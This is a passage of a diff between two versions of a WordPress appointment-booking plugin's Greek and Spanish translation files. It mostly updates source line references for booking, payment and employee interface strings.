 #: includes/helpers/PriceCalculationHelper.php:122
-#: assets/js/divi-modules.js:6056
+#: assets/js/divi-modules.js:6057
 #: assets/js/edit-post.js:1602
-#: assets/js/elementor-widgets.js:6056
-#: assets/js/gutenberg-blocks.js:6495
-#: assets/js/public.js:6056
+#: assets/js/elementor-widgets.js:6057
+#: assets/js/gutenberg-blocks.js:6496
+#: assets/js/public.js:6057
 msgctxt "Zero price"
 msgid "Free"
 msgstr "Δωρεάν"
@@ -3433,33 +3423,33 @@
 msgid "You can add a new log message here and press Update to save it"
 msgstr ""
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:49
+#: includes/metaboxes/booking/BookingPriceMetabox.php:50
 #: includes/post-types/CouponPostType.php:60
 #: templates/shortcodes/booking/sections/coupon-section.php:14
 msgid "Coupon"
 msgstr ""
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:55
+#: includes/metaboxes/booking/BookingPriceMetabox.php:56
 msgid "Reserved Services"
 msgstr ""
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:59
+#: includes/metaboxes/booking/BookingPriceMetabox.php:60
 #: includes/metaboxes/payment/PaymentDetailsMetabox.php:38
 msgid "Payment Details"
 msgstr "Λεπτομέρειες Πληρωμής"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:65
+#: includes/metaboxes/booking/BookingPriceMetabox.php:66
 msgid "Booking Price"
 msgstr ""
 
 #. Translators: %d: Booking ID.
-#: includes/metaboxes/booking/BookingPriceMetabox.php:141
+#: includes/metaboxes/booking/BookingPriceMetabox.php:142
 #: includes/repositories/BookingRepository.php:113
 #, php-format
 msgid "Booking #%d"
 msgstr "Κράτηση #%d"
 
-#: includes/metaboxes/booking/BookingPriceMetabox.php:186
+#: includes/metaboxes/booking/BookingPriceMetabox.php:187
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:144
 #: includes/rest/controllers/motopress/appointment/v1/BookingsRestController.php:295
 msgid "Sorry, the selected time slot is already booked."
@@ -4035,38 +4025,38 @@
 msgid "Pay with your credit card via Stripe. Use the card number 4242424242424242 with CVC 123, a valid expiration date and random 5-digit ZIP-code to test a payment."
 msgstr ""
 
-#: assets/js/divi-modules.js:8384
-#: assets/js/elementor-widgets.js:8384
-#: assets/js/gutenberg-blocks.js:8823
-#: assets/js/public.js:8384
+#: assets/js/divi-modules.js:8385
+#: assets/js/elementor-widgets.js:8385
+#: assets/js/gutenberg-blocks.js:8824
+#: assets/js/public.js:8385
 msgid "Bancontact"
 msgstr ""
 
-#: assets/js/divi-modules.js:8411
-#: assets/js/elementor-widgets.js:8411
-#: assets/js/gutenberg-blocks.js:8850
-#: assets/js/public.js:8411
+#: assets/js/divi-modules.js:8412
+#: assets/js/elementor-widgets.js:8412
+#: assets/js/gutenberg-blocks.js:8851
+#: assets/js/public.js:8412
 msgid "iDEAL"
 msgstr ""
 
-#: assets/js/divi-modules.js:8449
-#: assets/js/elementor-widgets.js:8449
-#: assets/js/gutenberg-blocks.js:8888
-#: assets/js/public.js:8449
+#: assets/js/divi-modules.js:8450
+#: assets/js/elementor-widgets.js:8450
+#: assets/js/gutenberg-blocks.js:8889
+#: assets/js/public.js:8450
 msgid "Giropay"
 msgstr ""
 
-#: assets/js/divi-modules.js:8349
-#: assets/js/elementor-widgets.js:8349
-#: assets/js/gutenberg-blocks.js:8788
-#: assets/js/public.js:8349
+#: assets/js/divi-modules.js:8350
+#: assets/js/elementor-widgets.js:8350
+#: assets/js/gutenberg-blocks.js:8789
+#: assets/js/public.js:8350
 msgid "SEPA Direct Debit"
 msgstr ""
 
-#: assets/js/divi-modules.js:8476
-#: assets/js/elementor-widgets.js:8476
-#: assets/js/gutenberg-blocks.js:8915
-#: assets/js/public.js:8476
+#: assets/js/divi-modules.js:8477
+#: assets/js/elementor-widgets.js:8477
+#: assets/js/gutenberg-blocks.js:8916
+#: assets/js/public.js:8477
 msgid "SOFORT"
 msgstr ""
 
@@ -5513,10 +5503,10 @@
 msgstr ""
 
 #: templates/shortcodes/booking/step-booking.php:24
-#: assets/js/divi-modules.js:5645
-#: assets/js/elementor-widgets.js:5645
-#: assets/js/gutenberg-blocks.js:6084
-#: assets/js/public.js:5645
+#: assets/js/divi-modules.js:5646
+#: assets/js/elementor-widgets.js:5646
+#: assets/js/gutenberg-blocks.js:6085
+#: assets/js/public.js:5646
 msgid "Making a reservation..."
 msgstr ""
 
@@ -6229,168 +6219,168 @@
 msgstr ""
 
 #: assets/js/customers-page.js:497
-#: assets/js/divi-modules.js:6650
+#: assets/js/divi-modules.js:6651
 #: assets/js/edit-post.js:1100
-#: assets/js/elementor-widgets.js:6650
-#: assets/js/gutenberg-blocks.js:7089
-#: assets/js/public.js:6650
+#: assets/js/elementor-widgets.js:6651
+#: assets/js/gutenberg-blocks.js:7090
+#: assets/js/public.js:6651
 #: assets/js/settings-page.js:685
 #: assets/js/widgets-manage-page.js:2911
 msgid "Phone number is invalid."
 msgstr ""
 
-#: assets/js/divi-modules.js:5749
-#: assets/js/divi-modules.js:7633
-#: assets/js/elementor-widgets.js:5749
-#: assets/js/elementor-widgets.js:7633
-#: assets/js/gutenberg-blocks.js:6188
-#: assets/js/gutenberg-blocks.js:8072
-#: assets/js/public.js:5749
-#: assets/js/public.js:7633
+#: assets/js/divi-modules.js:5750
+#: assets/js/divi-modules.js:7634
+#: assets/js/elementor-widgets.js:5750
+#: assets/js/elementor-widgets.js:7634
+#: assets/js/gutenberg-blocks.js:6189
+#: assets/js/gutenberg-blocks.js:8073
+#: assets/js/public.js:5750
+#: assets/js/public.js:7634
 msgid "You will be redirected to a secure page to complete the payment."
 msgstr ""
 
-#: assets/js/divi-modules.js:5960
-#: assets/js/elementor-widgets.js:5960
-#: assets/js/gutenberg-blocks.js:6399
-#: assets/js/public.js:5960
+#: assets/js/divi-modules.js:5961
+#: assets/js/elementor-widgets.js:5961
+#: assets/js/gutenberg-blocks.js:6400
+#: assets/js/public.js:5961
 msgid "Subtotal"
 msgstr ""
 
 #. Translators: %s: Coupon code.
-#: assets/js/divi-modules.js:5970
-#: assets/js/elementor-widgets.js:5970
-#: assets/js/gutenberg-blocks.js:6409
-#: assets/js/public.js:5970
+#: assets/js/divi-modules.js:5971
+#: assets/js/elementor-widgets.js:5971
+#: assets/js/gutenberg-blocks.js:6410
+#: assets/js/public.js:5971
 #, js-format
 msgid "Coupon: %s"
 msgstr ""
 
-#: assets/js/divi-modules.js:5982
-#: assets/js/divi-modules.js:8135
-#: assets/js/divi-modules.js:8650
-#: assets/js/elementor-widgets.js:5982
-#: assets/js/elementor-widgets.js:8135
-#: assets/js/elementor-widgets.js:8650
-#: assets/js/gutenberg-blocks.js:6421
-#: assets/js/gutenberg-blocks.js:8574
-#: assets/js/gutenberg-blocks.js:9089
-#: assets/js/public.js:5982
-#: assets/js/public.js:8135
-#: assets/js/public.js:8650
+#: assets/js/divi-modules.js:5983
+#: assets/js/divi-modules.js:8136
+#: assets/js/divi-modules.js:8651
+#: assets/js/elementor-widgets.js:5983
+#: assets/js/elementor-widgets.js:8136
+#: assets/js/elementor-widgets.js:8651
+#: assets/js/gutenberg-blocks.js:6422
+#: assets/js/gutenberg-blocks.js:8575
+#: assets/js/gutenberg-blocks.js:9090
+#: assets/js/public.js:5983
+#: assets/js/public.js:8136
+#: assets/js/public.js:8651
 msgid "Total"
 msgstr "Σύνολο"
 
-#: assets/js/divi-modules.js:6005
-#: assets/js/elementor-widgets.js:6005
-#: assets/js/gutenberg-blocks.js:6444
-#: assets/js/public.js:6005
+#: assets/js/divi-modules.js:6006
+#: assets/js/elementor-widgets.js:6006
+#: assets/js/gutenberg-blocks.js:6445
+#: assets/js/public.js:6006
 msgid "Deposit"
 msgstr "Κατάθεση"
 
-#: assets/js/divi-modules.js:6010
-#: assets/js/elementor-widgets.js:6010
-#: assets/js/gutenberg-blocks.js:6449
-#: assets/js/public.js:6010
+#: assets/js/divi-modules.js:6011
+#: assets/js/elementor-widgets.js:6011
+#: assets/js/gutenberg-blocks.js:6450
+#: assets/js/public.js:6011
 msgid "Paying now"
 msgstr ""
 
-#: assets/js/divi-modules.js:6548
-#: assets/js/elementor-widgets.js:6548
-#: assets/js/gutenberg-blocks.js:6987
-#: assets/js/public.js:6548
+#: assets/js/divi-modules.js:6549
+#: assets/js/elementor-widgets.js:6549
+#: assets/js/gutenberg-blocks.js:6988
+#: assets/js/public.js:6549
 msgid "Coupon code is empty."
 msgstr ""
 
-#: assets/js/divi-modules.js:6557
-#: assets/js/elementor-widgets.js:6557
-#: assets/js/gutenberg-blocks.js:6996
-#: assets/js/public.js:6557
+#: assets/js/divi-modules.js:6558
+#: assets/js/elementor-widgets.js:6558
+#: assets/js/gutenberg-blocks.js:6997
+#: assets/js/public.js:6558
 msgid "Coupon code applied successfully."
 msgstr ""
 
-#: assets/js/divi-modules.js:6559
-#: assets/js/elementor-widgets.js:6559
-#: assets/js/gutenberg-blocks.js:6998
-#: assets/js/public.js:6559
+#: assets/js/divi-modules.js:6560
+#: assets/js/elementor-widgets.js:6560
+#: assets/js/gutenberg-blocks.js:6999
+#: assets/js/public.js:6560
 msgid "Sorry, your booking is not eligible for this coupon."
 msgstr ""
 
 #. Translators: %s: Business name.
-#: assets/js/divi-modules.js:7563
-#: assets/js/elementor-widgets.js:7563
-#: assets/js/gutenberg-blocks.js:8002
-#: assets/js/public.js:7563
+#: assets/js/divi-modules.js:7564
+#: assets/js/elementor-widgets.js:7564
+#: assets/js/gutenberg-blocks.js:8003
+#: assets/js/public.js:7564
 #, js-format
 msgid "By providing your IBAN and confirming this payment, you authorise (A) %s and Stripe, our payment service provider, to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with those instructions. You are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. A refund must be claimed within 8 weeks starting from the date on which your account was debited."
 msgstr ""
 
-#: assets/js/divi-modules.js:7584
-#: assets/js/elementor-widgets.js:7584
-#: assets/js/gutenberg-blocks.js:8023
-#: assets/js/public.js:7584
+#: assets/js/divi-modules.js:7585
+#: assets/js/elementor-widgets.js:7585
+#: assets/js/gutenberg-blocks.js:8024
+#: assets/js/public.js:7585
 msgid "Credit or debit card"
 msgstr ""
 
-#: assets/js/divi-modules.js:7588
-#: assets/js/elementor-widgets.js:7588
-#: assets/js/gutenberg-blocks.js:8027
-#: assets/js/public.js:7588
+#: assets/js/divi-modules.js:7589
+#: assets/js/elementor-widgets.js:7589
+#: assets/js/gutenberg-blocks.js:8028
+#: assets/js/public.js:7589
 msgid "or"
 msgstr "ή"
 
-#: assets/js/divi-modules.js:7603
-#: assets/js/elementor-widgets.js:7603
-#: assets/js/gutenberg-blocks.js:8042
-#: assets/js/public.js:7603
+#: assets/js/divi-modules.js:7604
+#: assets/js/elementor-widgets.js:7604
+#: assets/js/gutenberg-blocks.js:8043
+#: assets/js/public.js:7604
 msgid "Select iDEAL Bank"
 msgstr ""
 
-#: assets/js/divi-modules.js:7618
-#: assets/js/elementor-widgets.js:7618
-#: assets/js/gutenberg-blocks.js:8057
-#: assets/js/public.js:7618
+#: assets/js/divi-modules.js:7619
+#: assets/js/elementor-widgets.js:7619
+#: assets/js/gutenberg-blocks.js:8058
+#: assets/js/public.js:7619
 msgid "IBAN"
 msgstr ""
 
-#: assets/js/divi-modules.js:7882
-#: assets/js/elementor-widgets.js:7882
-#: assets/js/gutenberg-blocks.js:8321
-#: assets/js/public.js:7882
+#: assets/js/divi-modules.js:7883
+#: assets/js/elementor-widgets.js:7883
+#: assets/js/gutenberg-blocks.js:8322
+#: assets/js/public.js:7883
 msgid "Payment methods"
 msgstr ""
 
-#: assets/js/divi-modules.js:8094
-#: assets/js/elementor-widgets.js:8094
-#: assets/js/gutenberg-blocks.js:8533
-#: assets/js/public.js:8094
+#: assets/js/divi-modules.js:8095
+#: assets/js/elementor-widgets.js:8095
+#: assets/js/gutenberg-blocks.js:8534
+#: assets/js/public.js:8095
 msgid "Card"
 msgstr ""
 
-#: assets/js/divi-modules.js:10130
-#: assets/js/edit-post.js:7677
-#: assets/js/elementor-widgets.js:10130
-#: assets/js/gutenberg-blocks.js:10569
-#: assets/js/public.js:10130
+#: assets/js/divi-modules.js:10131
+#: assets/js/edit-post.js:7678
+#: assets/js/elementor-widgets.js:10131
+#: assets/js/gutenberg-blocks.js:10570
+#: assets/js/public.js:10131
 msgid "Sorry, but we were unable to allocate time slots for the date you selected."
 msgstr ""
 
-#: assets/js/divi-modules.js:10777
-#: assets/js/elementor-widgets.js:10777
-#: assets/js/gutenberg-blocks.js:11216
-#: assets/js/public.js:10777
+#: assets/js/divi-modules.js:10778
+#: assets/js/elementor-widgets.js:10778
+#: assets/js/gutenberg-blocks.js:11217
+#: assets/js/public.js:10778
 msgid "Sorry, there are no services, employees or locations to book."
 msgstr ""
 
 #. Translators: %s: Checkbox label.
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3220
 #: assets/js/widgets-manage-page.js:2976
 #, js-format
 msgid "To enable this option, you need to check the '%s' box."
 msgstr ""
 
-#: assets/js/edit-post.js:9006
+#: assets/js/edit-post.js:9007
 #: assets/js/gutenberg-blocks.js:3238
 #: assets/js/widgets-manage-page.js:2977
 msgid "To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here."
@@ -6400,19 +6390,19 @@
 msgid "Colors"
 msgstr ""
 
-#: assets/js/gutenberg-blocks.js:11400
-#: assets/js/gutenberg-blocks.js:11710
-#: assets/js/gutenberg-blocks.js:11981
-#: assets/js/gutenberg-blocks.js:12284
-#: assets/js/gutenberg-blocks.js:12638
-#: assets/js/gutenberg-blocks.js:12761
-#: assets/js/gutenberg-blocks.js:12884
-#: assets/js/gutenberg-blocks.js:13007
-#: assets/js/gutenberg-blocks.js:13130
-#: assets/js/gutenberg-blocks.js:13253
-#: assets/js/gutenberg-blocks.js:13376
-#: assets/js/gutenberg-blocks.js:13499
-#: assets/js/gutenberg-blocks.js:13622
+#: assets/js/gutenberg-blocks.js:11401
+#: assets/js/gutenberg-blocks.js:11711
+#: assets/js/gutenberg-blocks.js:11982
+#: assets/js/gutenberg-blocks.js:12285
+#: assets/js/gutenberg-blocks.js:12639
+#: assets/js/gutenberg-blocks.js:12762
+#: assets/js/gutenberg-blocks.js:12885
+#: assets/js/gutenberg-blocks.js:13008
+#: assets/js/gutenberg-blocks.js:13131
+#: assets/js/gutenberg-blocks.js:13254
+#: assets/js/gutenberg-blocks.js:13377
+#: assets/js/gutenberg-blocks.js:13500
+#: assets/js/gutenberg-blocks.js:13623
 msgid "appointment"
 msgstr ""
 
Binary files /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-es_ES.mo and /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-es_ES.mo differ
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-es_ES.po /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-es_ES.po
--- /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.5/languages/motopress-appointment-es_ES.po	2026-06-23 11:36:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/motopress-appointment-lite/2.4.6/languages/motopress-appointment-es_ES.po	2026-06-30 15:16:08.000000000 +0000
@@ -176,16 +176,6 @@
 msgid "Help"
 msgstr "Ayuda"
 
-#: includes/admin-pages/custom/SettingsPage.php:199
-msgid "Settings saved."
-msgstr "Configuración guardada."
-
-#: includes/admin-pages/custom/SettingsPage.php:265
-msgid "Save Changes"
-msgstr "Guardar cambios"
-
-#: includes/admin-pages/custom/SettingsPage.php:400
-#: includes/admin-pages/custom/SettingsPage.php:409
 #: includes/elementor/widgets/AppointmentFormWidget.php:71
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:35
 #: includes/elementor/widgets/EmployeeContactsWidget.php:35
@@ -202,18 +192,18 @@
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:26
 #: templates/private/pages/wizard.php:12
 #: assets/js/gutenberg-blocks.js:3245
-#: assets/js/gutenberg-blocks.js:11506
-#: assets/js/gutenberg-blocks.js:11801
-#: assets/js/gutenberg-blocks.js:12087
-#: assets/js/gutenberg-blocks.js:12405
-#: assets/js/gutenberg-blocks.js:12686
-#: assets/js/gutenberg-blocks.js:12809
-#: assets/js/gutenberg-blocks.js:12932
-#: assets/js/gutenberg-blocks.js:13055
-#: assets/js/gutenberg-blocks.js:13178
-#: assets/js/gutenberg-blocks.js:13301
-#: assets/js/gutenberg-blocks.js:13424
-#: assets/js/gutenberg-blocks.js:13547
+#: assets/js/gutenberg-blocks.js:11507
+#: assets/js/gutenberg-blocks.js:11802
+#: assets/js/gutenberg-blocks.js:12088
+#: assets/js/gutenberg-blocks.js:12406
+#: assets/js/gutenberg-blocks.js:12687
+#: assets/js/gutenberg-blocks.js:12810
+#: assets/js/gutenberg-blocks.js:12933
+#: assets/js/gutenberg-blocks.js:13056
+#: assets/js/gutenberg-blocks.js:13179
+#: assets/js/gutenberg-blocks.js:13302
+#: assets/js/gutenberg-blocks.js:13425
+#: assets/js/gutenberg-blocks.js:13548
 msgid "Settings"
 msgstr "Configuración"
 
@@ -237,27 +227,27 @@
 msgid "Filtered bookings for customer"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:486
+#: includes/admin-pages/manage/ManageBookingsPage.php:494
 msgid "All Services"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:511
+#: includes/admin-pages/manage/ManageBookingsPage.php:519
 msgid "All Employees"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:536
+#: includes/admin-pages/manage/ManageBookingsPage.php:544
 msgid "All Locations"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:573
+#: includes/admin-pages/manage/ManageBookingsPage.php:581
 msgid "Export"
 msgstr "Exportar"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:574
+#: includes/admin-pages/manage/ManageBookingsPage.php:582
 msgid "Cancel Export"
 msgstr ""
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:589
+#: includes/admin-pages/manage/ManageBookingsPage.php:597
 #: includes/admin-pages/manage/ManagePaymentsPage.php:71
 #: includes/crons/ExportBookingsCron.php:347
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:27
@@ -276,18 +266,18 @@
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:43
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:44
 #: includes/elementor/widgets/EmployeeTitleWidget.php:44
-#: assets/js/gutenberg-blocks.js:12689
-#: assets/js/gutenberg-blocks.js:12812
-#: assets/js/gutenberg-blocks.js:12935
-#: assets/js/gutenberg-blocks.js:13058
-#: assets/js/gutenberg-blocks.js:13181
-#: assets/js/gutenberg-blocks.js:13304
-#: assets/js/gutenberg-blocks.js:13427
-#: assets/js/gutenberg-blocks.js:13550
+#: assets/js/gutenberg-blocks.js:12690
+#: assets/js/gutenberg-blocks.js:12813
+#: assets/js/gutenberg-blocks.js:12936
+#: assets/js/gutenberg-blocks.js:13059
+#: assets/js/gutenberg-blocks.js:13182
+#: assets/js/gutenberg-blocks.js:13305
+#: assets/js/gutenberg-blocks.js:13428
+#: assets/js/gutenberg-blocks.js:13551
 msgid "ID"
 msgstr "Identidad"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/admin-pages/manage/ManageEmployeesPage.php:149
 #: includes/divi/modules/ServicesListModule.php:97
 #: includes/elementor/widgets/ServicesListWidget.php:113
@@ -297,11 +287,11 @@
 #: includes/post-types/ServicePostType.php:117
 #: assets/js/analytics-page.js:33399
 #: assets/js/calendar-page.js:45376
-#: assets/js/gutenberg-blocks.js:12464
+#: assets/js/gutenberg-blocks.js:12465
 msgid "Services"
 msgstr "Servicios"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:590
+#: includes/admin-pages/manage/ManageBookingsPage.php:598
 #: includes/crons/ExportBookingsCron.php:354
 #: includes/divi/modules/AppointmentFormModule.php:64
 #: includes/divi/modules/AppointmentFormModule.php:126
@@ -321,14 +311,14 @@
 #: templates/shortcodes/booking/step-admin-cart.php:33
 #: templates/shortcodes/booking/step-service-form.php:102
 #: assets/js/calendar-page.js:38165
-#: assets/js/edit-post.js:9005
+#: assets/js/edit-post.js:9006
 #: assets/js/gutenberg-blocks.js:3256
 #: assets/js/gutenberg-blocks.js:3303
 #: assets/js/widgets-manage-page.js:2976
 msgid "Service"
 msgstr "Servicio"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:591
+#: includes/admin-pages/manage/ManageBookingsPage.php:599
 #: includes/crons/ExportBookingsCron.php:357
 #: templates/shortcodes/booking/step-admin-cart.php:37
 #: templates/shortcodes/template-parts/booking-details.php:99
@@ -337,13 +327,13 @@
 msgid "Date"
 msgstr "Fecha"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:592
+#: includes/admin-pages/manage/ManageBookingsPage.php:600
 #: includes/crons/ExportBookingsCron.php:358
 #: templates/shortcodes/booking/step-admin-cart.php:38
 msgid "Time"
 msgstr "Tiempo"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/divi/modules/EmployeesListModule.php:87
 #: includes/divi/modules/ServicesListModule.php:103
 #: includes/elementor/widgets/EmployeesListWidget.php:104
@@ -356,12 +346,12 @@
 #: includes/post-types/EmployeePostType.php:52
 #: assets/js/analytics-page.js:33437
 #: assets/js/calendar-page.js:45414
-#: assets/js/gutenberg-blocks.js:11557
-#: assets/js/gutenberg-blocks.js:12473
+#: assets/js/gutenberg-blocks.js:11558
+#: assets/js/gutenberg-blocks.js:12474
 msgid "Employees"
 msgstr "Empleados"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:593
+#: includes/admin-pages/manage/ManageBookingsPage.php:601
 #: includes/admin-pages/manage/ManageNotificationsPage.php:210
 #: includes/admin-pages/manage/ManageSchedulesPage.php:134
 #: includes/divi/modules/AppointmentFormModule.php:140
@@ -391,7 +381,7 @@
 msgid "Employee"
 msgstr "Empleado"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:594
+#: includes/admin-pages/manage/ManageBookingsPage.php:602
 #: includes/admin-pages/manage/ManageServicesPage.php:23
 #: includes/divi/modules/ServicesListModule.php:159
 #: includes/elementor/widgets/ServicesListWidget.php:193
@@ -403,11 +393,11 @@
 #: templates/service/price.php:19
 #: templates/shortcodes/booking/step-admin-cart.php:36
 #: templates/shortcodes/booking/step-cart.php:64
-#: assets/js/gutenberg-blocks.js:12559
+#: assets/js/gutenberg-blocks.js:12560
 msgid "Price"
 msgstr "Precio"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:595
+#: includes/admin-pages/manage/ManageBookingsPage.php:603
 #: includes/admin-pages/manage/ManageNotificationsPage.php:156
 #: includes/admin-pages/manage/ManagePaymentsPage.php:72
 #: includes/fields/complex/LicenseSettingsField.php:79
@@ -417,7 +407,7 @@
 msgid "Status"
 msgstr "Estado"
 
-#: includes/admin-pages/manage/ManageBookingsPage.php:596
+#: includes/admin-pages/manage/ManageBookingsPage.php:604
 #: includes/admin-pages/manage/ManageNotificationsPage.php:214
 #: includes/list-tables/emails/CustomerEmailsListTable.php:32
 #: includes/metaboxes/notification/NotificationSettingsMetabox.php:86
@@ -427,7 +417,7 @@
 msgstr "Cliente"
 
 #. Translators: %s: Paid amount.
-#: includes/admin-pages/manage/ManageBookingsPage.php:695
+#: includes/admin-pages/manage/ManageBookingsPage.php:703
 #, php-format
 msgid "Paid: %s"
 msgstr "Pagado: %s"
@@ -473,10 +463,10 @@
 #: includes/elementor/widgets/ServicesListWidget.php:202
 #: includes/metaboxes/shortcode/ShortcodeOrderMetabox.php:67
 #: includes/metaboxes/shortcode/ShortcodeTermsOrderMetabox.php:62
-#: assets/js/gutenberg-blocks.js:11634
-#: assets/js/gutenberg-blocks.js:11905
-#: assets/js/gutenberg-blocks.js:12214
-#: assets/js/gutenberg-blocks.js:12562
+#: assets/js/gutenberg-blocks.js:11635
+#: assets/js/gutenberg-blocks.js:11906
+#: assets/js/gutenberg-blocks.js:12215
+#: assets/js/gutenberg-blocks.js:12563
 msgid "Order"
 msgstr "Pida"
 
@@ -845,7 +835,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:68
 #: includes/shortcodes/AppointmentFormShortcode.php:94
 #: includes/widgets/AppointmentFormWidget.php:191
-#: assets/js/edit-post.js:9055
+#: assets/js/edit-post.js:9056
 #: assets/js/gutenberg-blocks.js:3333
 #: assets/js/widgets-manage-page.js:3069
 msgid "— Select —"
@@ -1232,7 +1222,7 @@
 #: includes/shortcodes/AppointmentFormShortcode.php:32
 #: includes/widgets/AppointmentFormWidget.php:32
 #: includes/widgets/AppointmentFormWidget.php:139
-#: assets/js/gutenberg-blocks.js:11358
+#: assets/js/gutenberg-blocks.js:11359
 msgid "Appointment Form"
 msgstr "Formulario de cita"
 
@@ -1480,7 +1470,7 @@
 #: includes/metaboxes/shortcode/AppointmentFormLabelsMetabox.php:76
 #: includes/shortcodes/AppointmentFormShortcode.php:100
 #: includes/widgets/AppointmentFormWidget.php:198
-#: assets/js/edit-post.js:9057
+#: assets/js/edit-post.js:9058
 #: assets/js/gutenberg-blocks.js:3202
 #: assets/js/gutenberg-blocks.js:3204
 #: assets/js/gutenberg-blocks.js:3205
@@ -1494,7 +1484,7 @@
 #: includes/elementor/widgets/ServicesListWidget.php:146
 #: includes/metaboxes/shortcode/ServicesListMetabox.php:79
 #: includes/shortcodes/ServicesListShortcode.php:91
-#: assets/js/gutenberg-blocks.js:12492
+#: assets/js/gutenberg-blocks.js:12493
 msgid "Comma-separated slugs or IDs of tags that will be shown."
 msgstr "Slugs o ID separados por comas de las etiquetas que se mostrarán."
 
@@ -1571,7 +1561,7 @@
 #: includes/divi/modules/EmployeeAdditionalInfoModule.php:20
 #: includes/elementor/widgets/EmployeeAdditionalInfoWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeAdditionalInfoShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13604
+#: assets/js/gutenberg-blocks.js:13605
 msgid "Employee Additional Information"
 msgstr "Información adicional del empleado"
 
@@ -1592,49 +1582,49 @@
 #: includes/elementor/widgets/EmployeeSocialNetworksWidget.php:47
 #: includes/elementor/widgets/EmployeeTitleWidget.php:47
 #: includes/shortcodes/single-employee/AbstractSingleEmployeeShortcode.php:25
-#: assets/js/gutenberg-blocks.js:12690
-#: assets/js/gutenberg-blocks.js:12813
-#: assets/js/gutenberg-blocks.js:12936
-#: assets/js/gutenberg-blocks.js:13059
-#: assets/js/gutenberg-blocks.js:13182
-#: assets/js/gutenberg-blocks.js:13305
-#: assets/js/gutenberg-blocks.js:13428
-#: assets/js/gutenberg-blocks.js:13551
+#: assets/js/gutenberg-blocks.js:12691
+#: assets/js/gutenberg-blocks.js:12814
+#: assets/js/gutenberg-blocks.js:12937
+#: assets/js/gutenberg-blocks.js:13060
+#: assets/js/gutenberg-blocks.js:13183
+#: assets/js/gutenberg-blocks.js:13306
+#: assets/js/gutenberg-blocks.js:13429
+#: assets/js/gutenberg-blocks.js:13552
 msgid "Post ID of an employee to display content from. Note: this parameter automatically uses the current post ID when a shortcode is inside the employee's post and is required otherwise."
 msgstr "ID del mensaje de un empleado para mostrar el contenido. Nota: esta configuración utiliza automáticamente el ID del mensaje actual cuando hay un shortcode en el mensaje del empleado y es necesaria en caso contrario."
 
 #: includes/divi/modules/EmployeeContactsModule.php:20
 #: includes/elementor/widgets/EmployeeContactsWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContactsShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13358
+#: assets/js/gutenberg-blocks.js:13359
 msgid "Employee Contact Information"
 msgstr "Información de contacto de los empleados"
 
 #: includes/divi/modules/EmployeeContentModule.php:20
 #: includes/elementor/widgets/EmployeeContentWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeContentShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13235
+#: assets/js/gutenberg-blocks.js:13236
 msgid "Employee Content"
 msgstr "Contenido para empleados"
 
 #: includes/divi/modules/EmployeeImageModule.php:20
 #: includes/elementor/widgets/EmployeeImageWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeImageShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12743
+#: assets/js/gutenberg-blocks.js:12744
 msgid "Employee Image"
 msgstr "Imagen de los empleados"
 
 #: includes/divi/modules/EmployeeScheduleModule.php:20
 #: includes/elementor/widgets/EmployeeScheduleWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeScheduleShortcode.php:29
-#: assets/js/gutenberg-blocks.js:13112
+#: assets/js/gutenberg-blocks.js:13113
 msgid "Employee Schedule"
 msgstr "Horario de los empleados"
 
 #: includes/divi/modules/EmployeeServicesListModule.php:20
 #: includes/elementor/widgets/EmployeeServicesListWidget.php:24
 #: includes/shortcodes/single-employee/EmployeeServicesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:12989
+#: assets/js/gutenberg-blocks.js:12990
 msgid "Employee Services List"
 msgstr "Lista de servicios para empleados"
 
@@ -1642,7 +1632,7 @@
 #: includes/elementor/widgets/EmployeesListWidget.php:25
 #: includes/metaboxes/shortcode/EmployeesListMetabox.php:29
 #: includes/shortcodes/EmployeesListShortcode.php:29
-#: assets/js/gutenberg-blocks.js:11692
+#: assets/js/gutenberg-blocks.js:11693
